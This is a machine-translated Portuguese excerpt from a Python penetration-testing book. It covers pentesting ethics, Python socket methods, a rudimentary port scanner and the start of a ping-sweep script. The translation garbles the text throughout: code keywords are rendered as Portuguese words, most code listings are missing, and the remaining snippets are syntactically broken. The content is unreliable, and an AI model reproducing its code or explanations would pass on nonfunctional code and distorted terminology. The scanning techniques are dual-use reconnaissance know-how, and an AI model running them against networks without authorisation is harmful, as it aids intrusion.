Escolar Documentos
Profissional Documentos
Cultura Documentos
Essentials
Mohit
BIRMINGHAM - MUMBAI
Python Teste de Invasão Essentials
Todos os direitos reservados. Nenhuma parte deste livro pode ser reproduzida, armazenada em um sistema de
recuperação ou transmitida de qualquer forma ou por qualquer meio, sem a prévia autorização por escrito do
editor, exceto no caso de breves citações incorporadas em artigos ou críticas.
Todos os esforços foram feitos na preparação deste livro para garantir a precisão das informações
apresentadas. No entanto, a informação contida neste livro é vendido sem garantia, expressa ou implícita.
Nem o autor, nem Packt Publishing, e os seus revendedores e distribuidores serão responsáveis por
quaisquer danos causados ou supostamente causados direta ou indiretamente por este livro. Packt Publishing
tem se esforçado para fornecer informações marca sobre todas as empresas e produtos mencionados neste
livro através da utilização adequada de capitais. No entanto, Packt Publishing não pode garantir a precisão
das informações.
www.packtpub.com
créditos
revisores revisores
Milinda Perera Ameesha Verde
Singh
indexadores
editor de comissionamento
Rekha Nair
Indrajit A. Das
copie Editors
Karuna Narayanan
Alfida Paiva
Sobre o autor
Mohit ( também conhecido como Mohit Raj) é um desenvolvedor de aplicativos e programador Python, com um
grande interesse no campo da segurança da informação. Ele fez seu Bacharelado em Tecnologia em ciência da
computação pela Universidade de Kurukshetra, Kurukshetra, e Mestre em Engenharia (2012) em ciência da
computação pela Universidade de Thapar, Patiala. Ele escreveu uma tese bem como um trabalho de pesquisa sobre
o seqüestro de sessão, com o nome ANÁLISE COMPARATIVA DE seqüestro de sessão em sistemas operacionais
diferentes, sob a orientação do Dr. Maninder Singh. Ele também fez o CCNA e claro Hacking ético certificado da
EC-Council (CEH) e tem adquirido uma certificação CEH. Ele publicou seu artigo, Como desativar ou alterar a
assinatura web-servidor, na revista eForensics em dezembro de 2013. Ele publicou outro artigo sobre pirataria sem
fio, chamado Cuidado: a sua fácil de lançar um Desautenticação Ataque sem fio! dentro Open Source para você em
julho de 2014. Ele também é um certificado Analista de Segurança Certified (ECSA). Ele tem trabalhado na IBM
Índia há mais de 2 anos. Ele também é um freelance treinador profissional para CEH e Python no CODEC Networks.
Além disso, ele está familiarizado com o Red Hat e CentOS Linux, em grande medida, e também tem um monte de
experiência prática da Red Hat. Ele pode ser contatado em mohitraj.cs@gmail.com.
Primeiro de tudo, sou grato ao Todo-Poderoso por me ajudar a completar este livro. Eu
gostaria de agradecer a minha mãe por seu amor e apoio encorajador, e meu pai para me
levantar em uma casa com desktops e laptops. Um grande obrigado a meu professor,
guia tese, e hacking trainer, Dr. Maninder Singh, por sua grande ajuda. Eu gostaria de
agradecer ao meu amigo, Bhaskar Das, para fornecer-me com suporte de hardware. Eu
também gostaria de agradecer a todos que contribuíram para a publicação deste livro,
incluindo a editora, especialmente os revisores técnicos e também os editores Merwyn
D'souza e Sonali Vernekar, por me fazer rir de meus próprios erros. Por último, mas não
menos importante, eu sou grato ao meu laptop i7, sem o qual não teria sido possível
escrever este livro.
Sobre os revisores
Milinda Perera é um engenheiro de software do Google. Ele tem uma paixão para a concepção e implementação de
soluções para os desafios de engenharia de software interessantes. Anteriormente, ele também trabalhou como estagiário de
engenharia de software do Google. Ele recebeu seu PhD, graus MPhil, mestrado e bacharelado em ciência da computação
da Universidade da Cidade de Nova York. Como um candidato PhD, publicou artigos sobre áreas de pesquisa tais como
fundações de criptografia, criptografia de transmissão, esteganografia, armazenamento em nuvem seguro e segurança de
rede sem fio.
Eu gostaria de agradecer a Alex Perry, o meu favorito Pythoneer, por ser um mentor, awesome!
Rejah Rehim é atualmente um engenheiro de software com o Grupo Digital Marca (DBG), na Índia, e é um
defensor de longa data de código aberto. Ele é um colaborador constante à Fundação Mozilla, e seu nome tem
sido destaque no Monumento San Francisco feita pela Mozilla Foundation.
Ele é uma parte do Mozilla Add-on Review Board e tem contribuído para o desenvolvimento de vários módulos do nó.
Ele também foi creditado com a criação de oito extras da Mozilla, incluindo o grande sucesso Limpar Console Add-on,
que foi selecionado como um dos melhores extras da Mozilla de 2013. Com uma base de usuários de mais de
44.000, ele registrou mais de 450.000 downloads. Ele criou com sucesso o primeiro pacote do mundo one-of-a-kind
de segurança de teste do navegador, PenQ, que é uma penetração pacote navegador testes baseados em Linux de
código aberto, pré-configurado com ferramentas para spidering, avançado busca na internet, impressões digitais, e
assim por diante .
Rejah também é um membro ativo da OWASP eo líder capítulo do OWASP, Kerala. Ele também é um dos
moderadores do grupo OWASP Google+ e um alto-falante ativo em Coffee @ DBG, um dos mais importante
encontro tecnologia mensal em Technopark, Kerala. Tendo sido uma parte de QBurst no passado e uma
parte da divisão de Segurança Cibernética de DBG agora, Rejah também é um fã de automação de
processos, e implementou-lo em DBG.
Ishbir Singh é um calouro estudar engenharia elétrica e ciência da computação no Instituto de Tecnologia da Geórgia.
Ele tem sido programação desde que ele tinha 9 anos e construiu uma ampla variedade de software, desde aqueles feitos
para rodar em uma calculadora para aqueles destinados para a implantação em vários centros de dados ao redor do
mundo. Treinado como engenheiro de sistemas Microsoft Certified com a idade de 10, ele também se interessou por
engenharia reversa, segurança da informação, programação de hardware, e desenvolvimento web. Seus interesses atuais
mentir no desenvolvimento de sistemas desconfiado peer-to-peer criptográficas, polimento suas habilidades de teste de
penetração, aprender novas línguas (tanto humanos e computador), e jogar ténis de mesa.
www.PacktPub.com
Você sabia que Packt oferece versões do eBook de cada livro publicado, com arquivos PDF e ePub disponíveis?
Você pode atualizar para a versão eBook em www.PacktPub.com
e como um cliente livro impresso, você tem direito a um desconto na cópia eBook. Entrar em contato com a gente no service@packtpub.com
para mais detalhes. em www.PacktPub.com, você também pode ler uma coleção de artigos técnicos gratuitos, inscrever-se
para uma série de boletins de notícias livres e receber descontos e ofertas exclusivas em livros e eBooks Packt.
TM
https://www2.packtpub.com/books/subscription/packtlib
Você precisa de soluções imediatas às suas perguntas de TI? PacktLib é uma biblioteca digital de livros on-line de Packt.
Aqui, você pode pesquisar, acessar e ler toda a biblioteca de livros de Packt.
[Ii]
Índice
[Iii]
Prefácio
Este livro é um guia prático que mostra as vantagens de usar Python para pentesting, com a ajuda de
exemplos de código detalhados. Este livro começa por explorar os conceitos básicos de rede com Python e
então passa para a rede e pentesting sem fio, incluindo a recolha de informação e de ataque. Mais tarde,
nos aprofundarmos cortando a camada de aplicação, onde começamos através da recolha de informações
de um site e, eventualmente, passar para conceitos relacionados com o site de hacking, como parâmetro
adulteração, DDOS, XSS e injeção SQL.
Capítulo 2, Digitalização pentesting, aborda como a digitalização em rede é feito para reunir informações sobre
uma rede, host, e o serviço que estão em execução nos hosts.
Capítulo 3, Sniffing e Teste de Invasão, ensina como realizar fungar activo, como para criar uma camada 4
tubo aspirador, e como realizar camadas 3 e 4 ataques.
Capítulo 4, Sem fio pentesting, ensina quadros sem fio e como obter informação, tais como SSID, BSSID, e o
número de canal a partir de uma moldura sem fios utilizando um script Python. Neste tipo de ataque, você vai
aprender a realizar ataques pentesting no AP.
Capítulo 5, Pé de impressão de um servidor web e um aplicativo da Web, ensina a importância de uma assinatura
servidor web, e por conhecer a assinatura do servidor é o primeiro passo em hacking.
Capítulo 6, Do lado do cliente e ataques DDoS, ensina validação do lado do cliente, bem como a forma de contornar a validação
do lado do cliente. Este capítulo abrange a implantação de quatro tipos de ataques DDoS.
Prefácio
Capítulo 7, Pentesting de SQLI e XSS, abrange dois grandes ataques web, injeção SQL e XSS. Na injeção de SQL, você vai
aprender como encontrar a página de login de administrador utilizando um script Python.
Convenções
Neste livro, você vai encontrar uma série de estilos de texto que distinguem entre diferentes tipos de
informação. Aqui estão alguns exemplos desses estilos e uma explicação do seu significado.
palavras de código em texto, nomes de tabelas de banco de dados, nomes de pastas, nomes de arquivos, extensões de arquivos,
caminhos, URLs manequim, a entrada do usuário, e alças Twitter são apresentados da seguinte forma: "A parte superior faz um
dicionário usando o AF_, SOCK_, e IPPROTO_ . prefixos que mapeiam o número de protocolo para seus nomes" Um bloco de código é
[2]
Prefácio
> > > Dict ((GetAttr (tomada, n), n) para n na dir (tomada) se
n.startswith ( 'AF_'))
{0: 'AF_UNSPEC', 2: 'AF_INET', 6: 'AF_IPX', 11: 'AF_SNA', 12: 'AF_ DECnet', 16: 'AF_APPLETALK', 23:
'AF_INET6', 26: 'AF_IRDA'}
novos termos e palavras importantes são mostradas em negrito. Palavras que você vê na tela, por
exemplo, em menus ou caixas de diálogo, aparecem no texto assim: "O
Destino e Fonte endereços são os endereços Ethernet geralmente citado como uma seqüência de 6 bytes
".
feedback do leitor
O feedback dos nossos leitores é sempre bem-vindo. Deixe-nos saber o que você pensa sobre este livro, o que você
gostou ou não. feedback do leitor é importante para nós, pois nos ajuda a desenvolver títulos que você vai realmente
tirar o máximo proveito de. Para enviar-nos um feedback geral, simplesmente e-mail feedback@packtpub.com, e
mencionar o título do livro no assunto da mensagem.
Se há um tema que você tem experiência em e você está interessado em qualquer escrito ou contribuindo para
um livro, consulte o nosso guia autor em www.packtpub.com/authors.
Suporte ao cliente
Agora que você é o proprietário orgulhoso de um livro de Packt, temos uma série de coisas para ajudá-lo a obter
o máximo de sua compra.
[3]
Prefácio
errata
Embora tenhamos tomado todos os cuidados para garantir a precisão de nosso conteúdo, erros acontecem. Se
você encontrar um erro em um dos nossos livros, talvez um erro no texto ou o código-ficaríamos muito gratos se
você pudesse relatar isso para nós. Ao fazer isso, você pode salvar outros leitores de frustração e nos ajudar a
melhorar versões posteriores deste livro. Se você encontrar qualquer errata, por favor informe-los visitando http://www.packtpub.com/
submeter-errata, seleção de seu livro, clicando no Errata Formulário de Apresentação link, e inserindo os detalhes
da sua errata. Uma vez que seu errata são verificados, a sua apresentação será aceito ea errata será enviado
para o nosso site ou adicionado a qualquer lista de errata existente na seção Errata desse título. Para visualizar a
errata apresentado anteriormente, acesse https://www.packtpub.com/books/ conteúdo / suporte e digite o nome do livro
no campo de pesquisa. A informação irá aparecer sob o errata seção.
Pirataria
A pirataria de material protegido por direitos autorais na internet é um problema constante em todas as mídias. No Packt,
tomamos a proteção de nossos direitos autorais e licenças muito a sério. Se você se deparar com quaisquer cópias ilegais
de nossos trabalhos em qualquer formulário na Internet, por favor nos fornecer o endereço de localização ou nome do site
imediatamente para que possamos buscar um remédio. Entre em contato conosco copyright@packtpub.com com um link para o
material pirateado suspeita.
Agradecemos a sua ajuda na proteção de nossos autores e nossa capacidade de trazer-lhe um conteúdo valioso.
Questões
Se você tiver um problema com qualquer aspecto deste livro, você pode contactar-nos em
questions@packtpub.com, e faremos o nosso melhor para resolver o problema.
[4]
Python com testes de
penetração e Networking
Penetração (PEN) testador e hackers são termos semelhantes. A diferença é que os testadores de penetração trabalhar
para uma organização para evitar tentativas de hacking, enquanto hackers cortar para qualquer finalidade, como fama,
vendendo vulnerabilidade para dinheiro, ou para explorar a vulnerabilidade para a inimizade pessoal.
Lotes de hackers bem treinados tem trabalhos no campo da segurança da informação por invadir um sistema e,
em seguida, informando a vítima do erro (s) de segurança para que eles possam ser corrigidos.
Um hacker é chamado de um testador de penetração quando trabalham para uma organização ou empresa para
assegurar o seu sistema. A pentester realiza hackers tentativas de quebrar a rede depois de obter aprovação legal do
cliente e, em seguida, apresenta um relatório das suas descobertas. Para se tornar um especialista em pentesting,
uma pessoa deve ter conhecimento profundo dos conceitos de sua tecnologia. Neste capítulo, vamos abordar os
seguintes tópicos:
• A necessidade de pentesting
• Abordagens de pentesting
• sockets de rede
• exceções soquete
A necessidade de pentesting
Há vários pontos que descrevem o significado da pentesting:
• pentesting especialista fornece uma garantia para a organização com uma avaliação completa e
detalhada de segurança organizacional
Considere um exemplo de uma empresa de e-commerce bem reputado que ganha dinheiro com negócios
online. Um hacker ou grupo de hackers de chapéu preto encontrar uma vulnerabilidade no site da empresa e
cortá-lo. A quantidade de perda, a empresa terá de suportar será enorme.
[6]
Capítulo 1
O teste deve ser realizado em todos os componentes de um sistema de segurança de rede de hardware e software.
• Estabelecer o âmbito de cada teste de penetração, tais como os objectivos, as limitações e a justificação
de procedimentos
• Indicar os riscos e resultados potenciais claramente no relatório final e fornecer métodos para
mitigar o risco, se possível
A pentester testa a rede utilizando técnicas manuais ou as ferramentas relevantes. Há muitas ferramentas disponíveis
no mercado. Alguns deles são de código aberto e alguns deles são muito caros. Com a ajuda de programação, um
programador pode fazer suas próprias ferramentas. Ao criar suas próprias ferramentas, você pode limpar os seus
conceitos e também realizar mais R & D. Se você está interessado em pentesting e quer fazer suas próprias
ferramentas, a linguagem de programação Python é o melhor, como extensas e livremente disponíveis pacotes
pentesting estão disponíveis em Python, além de sua facilidade de programação. Esta simplicidade, juntamente com
as bibliotecas de terceiros, tais como scapy e mecanizar, reduz o tamanho do código. Em Python, para fazer um
programa, você não precisa definir grandes classes como Java. É mais produtivo para escrever código em Python do
que em
C, e bibliotecas de alto nível estão facilmente disponíveis para virtualmente qualquer tarefa que se possa imaginar. Se você conhece
alguma programação em Python e está interessado em pentesting este livro é ideal para você.
[7]
Python com testes de penetração e Networking
• Você deve desenvolver o escopo do projeto em consulta com o cliente. Por exemplo, se Bob (o
cliente) quer testar toda a infra-estrutura de rede da organização, em seguida, pentester Alice iria
definir o escopo de pentesting tomando esta rede em conta. Alice vai consultar Bob sobre se
quaisquer áreas sensíveis ou restritos deve ser incluído ou não.
• Você deve perfil dos limites de teste com base em um acordo assinado pelo pentester eo cliente.
• Mudanças na prática de negócios pode afetar o escopo. Por exemplo, a adição de uma sub-rede, instalações de
novos componentes do sistema, a adição ou modificação de um servidor web, e assim por diante, pode alterar o
• Um teste não destrutivo: Este teste é limitado a encontrar e realização dos testes, sem quaisquer
riscos potenciais. Ele executa as seguintes ações:
• Um teste destrutivo: Este teste pode produzir riscos. Ele executa as seguintes
ações:
[8]
Capítulo 1
° É demorado,
Neste livro, todas as experiências e demonstração ter sido feito em Python 2.7.8 Versão. Se você usa Linux OS,
como Kali ou BackTrack, então não haverá nenhum problema, porque muitos programas, como sniffing
wireless, não funcionam na plataforma Windows. Kali Linux também usa a versão 2.7. Se você gosta de
trabalhar na Red Hat ou CentOS, então esta versão é adequada para você.
A maioria dos hackers escolher esta profissão porque eles não querem fazer a programação. Eles querem usar
ferramentas. No entanto, sem programação, um hacker pode não melhorar as habilidades His2. Toda vez, eles têm
que procurar as ferramentas através da Internet. Acredite em mim, depois de ver a sua simplicidade, você vai adorar
este idioma.
[9]
Python com testes de penetração e Networking
Um hacker sempre gosta de trabalhar em um sistema Linux. Pois é livre e de código aberto, Kali Linux marca o
renascimento do BackTrack e é como um arsenal de ferramentas de hacking. Kali Linux NetHunter é a primeira
penetração Android plataforma de testes de código aberto para dispositivos Nexus. No entanto, algumas ferramentas de
trabalho em Linux e Windows, mas no Windows, você tem que instalar essas ferramentas. Espero que você tenha
conhecimento de Linux. Agora, é hora de trabalhar com redes em Python.
sockets de rede
Um endereço de socket de rede contém um número de endereço IP e porta. De uma forma muito simples, um soquete é uma
maneira de falar com outros computadores. Por meio de uma tomada, um processo pode se comunicar com outro processo
através da rede.
[10]
Capítulo 1
A fim de criar um socket, use o socket.socket () função que está disponível no módulo socket. A sintaxe geral de
uma função de encaixe é a seguinte:
AF_INET é a família de endereços de IPv4. PF_PACKET opera na camada de controlador de dispositivo. A biblioteca
pcap para Linux utiliza PF_PACKET. Você verá mais detalhes sobre
PF_PACKET dentro Capítulo 3, Sniffing e Teste de Invasão. Esses argumentos representam as famílias de endereços
e o protocolo da camada de transporte:
o socket.SOCK_DGRAM argumento mostra que o UDP não é confiável e sem conexão, e socket.SOCK_STREAM
mostra que o TCP é confiável e é uma de duas vias, serviço baseado na conexão. Discutiremos socket.SOCK_RAW
dentro
Capítulo 3, Sniffing e Teste de Invasão.
protocolo
Geralmente, deixamos este argumento; que leva 0 se não especificado. Veremos o uso deste argumento em Capítulo
3, Sniffing e Teste de Invasão.
• socket.bind (endereço): Este método é utilizado para ligar o endereço (endereço IP, número de
porta) para o socket. A tomada deve ser aberta antes de ligar para o endereço.
• socket.listen (q): Este método inicia o ouvinte TCP. o q argumento define o número máximo de
ligações escalados.
• socket.accept (): O uso deste método é aceitar a conexão do cliente. Antes de utilizar este método, o socket.bind
(endereço) e
socket.listen (q) devem ser utilizados métodos. o socket.accept () método retorna dois valores: client_socket
e endereço, onde client_socket é um novo objeto de soquete usado para enviar e receber dados
através da conexão e endereço é o endereço do cliente. Você vai ver exemplos mais tarde.
[11]
Python com testes de penetração e Networking
• Socket.connect (endereço): Este método conecta o cliente para o servidor. o endereço argumento é o
endereço do servidor.
• socket.recv (bufsize): Este método recebe uma mensagem TCP da tomada. o bufsize argumento
define o máximo de dados que podem receber a qualquer momento.
• socket.recvfrom (bufsize): Este método recebe os dados da tomada de corrente. O método retorna
um par de valores: o primeiro valor dá os dados recebidos, e o segundo valor dá o endereço do
encaixe de enviar os dados.
• socket.recv_into (tampão): Este método recebe os dados de menos do que ou igual a amortecedor. o amortecedor
parâmetro é criado pelo bytearray () método. Vamos discutir isso em um exemplo mais tarde.
• socket.recvfrom_into (tampão): Este método obtém dados da tomada de corrente e grava na memória
intermédia. O valor de retorno é um par (nbytes, endereço), onde nbytes é o número de bytes
recebidos, e o endereço é o endereço do encaixe de enviar os dados.
• socket.send (bytes): Este método é usado para enviar dados para o socket. Antes de enviar os
dados, verifique se o socket está conectado a uma máquina remota. Ele retorna o número de
bytes enviados.
[12]
Capítulo 1
• socket.sendto (dados de endereço),: Este método é usado para enviar dados para o socket. Geralmente,
usamos este método em UDP. UDP é um protocolo sem ligação; portanto, a tomada não deve ser
conectado a um computador remoto, e o argumento endereço especifica o endereço da máquina
remota. O valor de retorno indica o número de bytes enviados.
• socket.sendall (dados): Como o nome indica, este método envia todos os dados para o socket. Antes de
enviar os dados, verifique se o socket está conectado a uma máquina remota. Este método
incessantemente transfere dados até que um erro é visto. Se um erro é visto, uma exceção subiria, e socket.close
() iria fechar o socket.
tomada de importação
O código anterior é muito simples; é o mínimo de código no lado do servidor. Em primeiro lugar, importar o módulo de
[13]
Python com testes de penetração e Networking
Agora, o servidor está no modo de audição e está esperando para o cliente: Vamos ver o código
tomada de importação
A imagem anterior da saída mostra que o servidor aceita a conexão de 192.168.0.11. Não fique confuso ao ver
a porta 1789; é a porta aleatória do cliente. Quando o servidor envia uma mensagem para o cliente, ele usa o Conn
soquete, como mencionado anteriormente, e esta tomada conn contém o número do endereço IP do cliente e
do porto.
[14]
Capítulo 1
O diagrama a seguir mostra como o cliente aceita a conexão do servidor. O servidor está no modo de
audição, eo cliente se conecta ao servidor. Quando você executa o programa de servidor e cliente
novamente, a porta aleatória é alterado. Para o cliente, a porta do servidor 12345 é a porta de destino, e para
o servidor, a porta aleatória cliente 1789 é a porta de destino.
192.168.0.1
192.168.0.1 192.168.0.11
soquete
192.168.01: 12345 || 192.168.0.11: 1789
12345
aleatório Porto
Servidor Cliente
Você pode estender a funcionalidade do servidor usando o enquanto laço, como se mostra no seguinte programa.
Execute o server2.py programa:
O código anterior é o mesmo que o anterior, apenas o infinito enquanto laço é adicionado. Execute o server2.py
[15]
Python com testes de penetração e Networking
Um servidor pode dar serviço a muitos clientes. o enquanto circuito mantém o programa de servidor vivo e não
permite que o código para terminar. Você pode definir um limite de conexão à enquanto laço; por exemplo, definir enquanto
i> 10 e incremento Eu com cada ligação. Antes de prosseguir para o próximo exemplo, o conceito de bytearray deve
ser entendida. o bytearray matriz é uma sequência de números inteiros sem sinal mutável no intervalo de 0 a 255.
Pode eliminar, inserir ou substituir valores arbitrários ou fatias. o
bytearray objetos do array pode ser criado chamando o built-in bytearray matriz. A sintaxe geral de bytearray é
como se segue:
[16]
Capítulo 1
O programa anterior é o mesmo que o anterior. Neste programa, o servidor envia Obrigado, seis caracteres.
s.close
[17]
Python com testes de penetração e Networking
Nosso programa de cliente recebido com sucesso 6 bytes de corda, Obrigado. Agora, você deve ter pego uma
idéia de bytearray (). Eu espero que você vai se lembrar. Desta vez vou criar um socket UDP. Corre udp1.py, e
s.close ()
[18]
Capítulo 1
Aqui, eu usei o socket UDP eo s.sendto () método, como você pode ver na definição de socket.sendto (). Você
sabe muito bem que o UDP é um protocolo sem conexão, por isso não há necessidade de estabelecer uma
conexão aqui. A imagem seguinte mostra a saída de udp1.py ( o servidor UDP) e udp2. py ( o cliente UDP):
Vamos supor que um servidor está em execução e não há nenhuma conexão início cliente, e que o
servidor terá sido ouvindo. Assim, para evitar esta situação, utilize socket. setTimeout (valor).
Geralmente, damos um valor como um número inteiro; se eu dar 5 como o valor, isso significaria esperar por 5 segundos. Se a
operação não for concluída dentro de 5 segundos, em seguida, uma exceção tempo limite seria levantado. Você também pode
fornecer um valor flutuante não-negativo.
[19]
Python com testes de penetração e Networking
Eu adicionei uma linha extra, isto é, s.settimeout (5). O programa espera por 5 segundos; só depois é que ele vai te
dar uma mensagem de erro. Corre udptime1.py.
O programa mostra um erro; no entanto, não parece bom se ele dá uma mensagem de erro. O
programa deve lidar com as exceções.
exceções soquete
A fim de lidar com exceções, vamos usar o try e except blocos. O exemplo seguinte irá dizer-lhe como lidar
com as exceções. Corre udptime2.py:
[20]
Capítulo 1
exceto socket.timeout:
print "Cliente não conectado"
s.close ()
No bloco try, eu coloquei meu código, e para o bloco except, uma mensagem personalizada é impresso se ocorrer
qualquer exceção.
Diferentes tipos de exceções são definidas na biblioteca de soquete de Python para erros diferentes. Essas
exceções são descritas aqui:
• socket.gaierror exceção: Este bloco de captura qualquer excepção de que é aumentada devido a
getaddrinfo () e getnameinfo ().
• socket.error exceção: Este bloco pega quaisquer erros relacionados com o soquete. Se você não tem certeza
sobre qualquer exceção, você poderia usar isso. Em outras palavras, você pode dizer que é um bloco genérico
e pode pegar qualquer tipo de exceção.
[21]
Python com testes de penetração e Networking
• socket.gethostbyname (host): Este método converte um nome de host para o formato de endereço IPv4.
O endereço IPv4 é devolvido na forma de uma corda. Aqui está um exemplo:
>>>
'173.194.126.64'
>>>
Eu sei que você está pensando sobre o nslookup comando. Mais tarde, você vai ver mais magia.
• socket.gethostbyname_ex (nome): Este método converte um nome de host para o padrão de endereço IPv4.
No entanto, a vantagem sobre o método anterior é que dá a todos os endereços IP do nome de domínio.
Ele retorna uma tupla (hostname, nome canônico, e IP_addrlist) onde o hostname é dado por nós, o nome
canônico é uma lista (possivelmente vazio) de nomes de hosts canônicos do servidor para o mesmo
endereço, e IP_addrlist é uma lista todos os disponíveis IPs do mesmo hostname. Muitas vezes, um nome
de domínio está hospedado em muitos endereços IP para equilibrar a carga do servidor. Infelizmente,
este método não funciona para IPv6. Eu espero que você esteja bem familiarizado com tupla, lista e
dicionário. Vejamos um exemplo:
'220.227.15.55'])
>>>
>>>
[22]
Capítulo 1
Ele retorna muitos endereços IP para um único nome de domínio. Isso significa que um domínio, tal como thapar.edu
ou google.com roda em vários IPs.
• socket.gethostname (): Isso retorna o nome do host do sistema em que o interpretador Python está
sendo executado:
> > > socket.gethostname ()
'Extreme'
Para recolher o endereço IP da máquina atual pelo módulo socket, você pode usar o seguinte truque
usando gethostbyname (gethostname ()):
> > > socket.gethostbyname (socket.gethostname ()) '192.168.10.1'
>>>
Você sabe que o nosso computador tem muitas interfaces. Se você quer saber o endereço IP de todas as
interfaces, use a interface estendida :.
> > > socket.gethostbyname_ex (socket.gethostname ()) ( 'extremas', [], ['10 .0.0.10' ,
'192.168.10.1', '192.168.0.1'])
>>>
Ele retorna um tuplo contendo três elementos: primeiro é o nome da máquina, o segundo é uma lista de nomes
alternativos para o nome da máquina (vazio, neste caso,) e o terceiro é a lista de endereços IP de interfaces.
• socket.getfqdn ([nome]): Isto é usado para encontrar o nome completo, se ele estiver disponível. O nome do
domínio qualificado completamente consiste de um nome de host e domínio; por exemplo, beta pode ser o
nome do host e example.com pode ser o nome de domínio. o nome do domínio qualificado completamente
(FQDN) torna-se beta. example.com :.
'edge-star-shv-12-frc3.facebook.com'
'Extreme'
>>>
[23]
Python com testes de penetração e Networking
• socket.gethostbyaddr (iP_address): Isto é como uma pesquisa "reversa" para o nome. Ele retorna
uma tupla (hostname, nome canônico, e IP_addrlist) em que hostname é o nome do host que
responde ao dado endereço de IP,
o nome canônico é uma lista (possivelmente vazio) de nomes canônicos do mesmo endereço,
e IP_addrlist é uma lista de endereços IP para a mesma interface de rede no mesmo host:
Ela mostra um erro na última consulta porque pesquisa inversa de DNS não está presente.
>>>
[24]
Capítulo 1
• socket.connect_ex (endereço): Esse método retorna um indicador de erro. Se for bem sucedido. ele retorna
0; caso contrário, retorna o errno variável. Você pode tirar vantagem desta função para digitalizar os
portos. Execute o connet_ex.py programa:
A saída do programa anterior mostra que as portas 80912135 e 445 estão abertas. Este é um scanner de porta rudimentar.
O programa está usando o endereço IP 127.0.0.1; este é o endereço de um loop de volta, por isso é impossível ter
quaisquer problemas de conectividade. No entanto, quando você tem problemas, executar esta em outro dispositivo com
uma lista de porta grande. Desta vez, você terá que usar socket.settimeout (valor):
Este método de soquete converte os argumentos de acolhimento e de porta em uma sequência de cinco tuplos.
>>>
[25]
Python com testes de penetração e Networking
saída 2 representa a família, 1 representa o tipo soquete, 0 representa o protocolo, '' representa o nome
canónica, e (' 220.227.15.47' , 80) representa o endereço 2socket. No entanto, este número é difícil de
compreender. Abra o diretório do soquete.
tomada de importação
[26]
Capítulo 1
A parte superior faz um dicionário usando o AF_, SOCK_, e IPPROTO_ prefixos que mapeiam o número de
protocolo para seus nomes. Este dicionário é formada pela técnica de compreensão da lista.
A parte superior do código pode às vezes ser confusa, mas podemos executar o código separadamente como se
segue:
> > > Dict ((GetAttr (tomada, n), n) para n na dir (tomada) se
n.startswith ( 'AF_'))
{0: 'AF_UNSPEC', 2: 'AF_INET', 6: 'AF_IPX', 11: 'AF_SNA', 12: 'AF_ DECnet', 16: 'AF_APPLETALK', 23:
'AF_INET6', 26: 'AF_IRDA'}
Agora, isso é fácil de entender. Este código é usado geralmente para obter o número do protocolo:
A linha de código anterior retorna os cinco valores, tal como discutido na definição. Estes valores são
então combinados com seu dicionário correspondente.
Resumo
Agora, você tem uma idéia do trabalho em rede em Python. O objetivo deste capítulo é completar os
pré-requisitos dos próximos capítulos. Desde o início, você aprendeu a necessidade de pentesting. Pentesting
é conduzida para identificar ameaças e vulnerabilidades na organização. O que deve ser testado? Isso é
especificado no acordo; não tente testar qualquer coisa que não é mencionado no acordo. Acordo é seu cartão
de livre-prisão. A pentester deve ter conhecimento da mais recente tecnologia. Você deve ter algum
conhecimento de Python antes de começar a ler este livro. Para executar scripts Python, você deve ter uma
configuração de laboratório, uma rede de computadores para testar um sistema vivo e sites fictícios em
execução no servidor Apache. Este capítulo discutiu o soquete e seus métodos. O método de tomada de
servidor define como fazer um simples servidor. O servidor liga o seu próprio endereço e porta para ouvir as
conexões. Um cliente que sabe o número do endereço do servidor ea porta se conecta ao servidor para obter
serviço. Alguns métodos de soquete, como socket.recv (bufsize), socket.recvfrom (bufsize), socket.recv_into (tampão), socket.send
(bytes),
e assim por diante são úteis para o servidor, bem como o cliente. Você aprendeu a lidar com diferentes tipos de
exceções. No Tomada métodos úteis seção, você tem uma idéia de como obter o IP eo nome do host de um
equipamento, como recolher o endereço IP do nome de domínio, e vice-versa.
No próximo capítulo, você vai ver pentesting digitalização, que inclui a varredura de endereços IP para detectar os
anfitriões vivos. Para realizar a digitalização IP, varredura de ping e digitalização TCP são usados. Você vai aprender a
detectar serviços em execução em um host remoto usando scanner de porta.
[27]
digitalização pentesting
digitalização em rede refere-se a um conjunto de procedimentos que investigam uma série ao vivo, o tipo de host,
portas abertas, eo tipo de serviços em execução no host. digitalização em rede é uma parte da coleta de informações
em virtude do qual um ataque pode criar um perfil da organização-alvo.
• Ping varredura
• scanner de TCP
Você deve ter conhecimento básico da comunicação camada TCP / IP. Antes de prosseguir, o conceito de Protocol
Data Unit (PDU) deve ser clara. PDU é uma unidade de dados especificados no protocolo. Ele é o termo
genérico para os dados em cada camada.
• Para a camada de ligao de dados ou camada de acesso à rede, PDU indica um quadro
Fonte Destino
Do sistema operacional sibilo comando prevê a possibilidade de verificar se o host está vivo ou não. Considere
uma situação onde você tem que testar uma lista completa de endereços IP. Nesta situação, se você testar o IP
por um, ele vai ter um monte de tempo e esforço. A fim de lidar com esta situação, usamos varredura de ping.
Ping varredura
Ping varredura é usado para identificar o host ao vivo a partir de um intervalo de endereços IP, enviando a
solicitação ICMP ECHO ea resposta ICMP ECHO. A partir de uma sub-rede e endereço de rede, um atacante
ou pentester pode calcular o alcance da rede. Nesta seção, vou demonstrar como tirar vantagem da facilidade
de ping de um sistema operacional.
Primeiro, vou escrever uma peça simples e pequeno de código, como segue:
import os
= resposta os.popen ( 'ping -n 1 10.0.0.1') para a linha em
response.readlines (): linha de impressão,
[30]
Capítulo 2
No código anterior, import os importa o módulo OS para que possamos executar o comando OS. A próxima linha os.popen
( '-n pingue 1 10.0.0.1') que leva um comando DOS é passado como uma cadeia e retorna um objeto de
arquivo-like ligado a fluxos de entrada ou de saída padrão do comando. o pingue -n 1 10.0.0.1 comando é um
comando do sistema operacional Windows que envia um pacote ICMP Echo Request. Ao ler o os.psopen () função,
você pode interceptar a saída do comando. A saída é armazenada no resposta variável. Na linha seguinte, o readlines
() função é usada para ler a saída de um objeto de arquivo-like. A saída do programa é o seguinte:
tempo = 3 ms TTL = 64
O resultado mostra o responder, byte, tempo, e TTL valores, que indicam que o anfitrião é ao vivo. Considere
outra saída do programa para IP 10.0.0.2.
G: \ Project Cobra \ Chapter 2 \ ip> ips.py ping 10.0.0.2 com 32 bytes de dados:
O código anterior é muito importante para o bom funcionamento, e é semelhante ao motor de um carro. A fim de
torná-lo totalmente funcional, precisamos modificar o código de modo que é plataforma independente e produzir
uma saída de fácil leitura.
[31]
digitalização pentesting
import os
net = raw_input ( "Digite o endereço de rede") net1 = net.split ( ' ') net1
impressão a ='.'
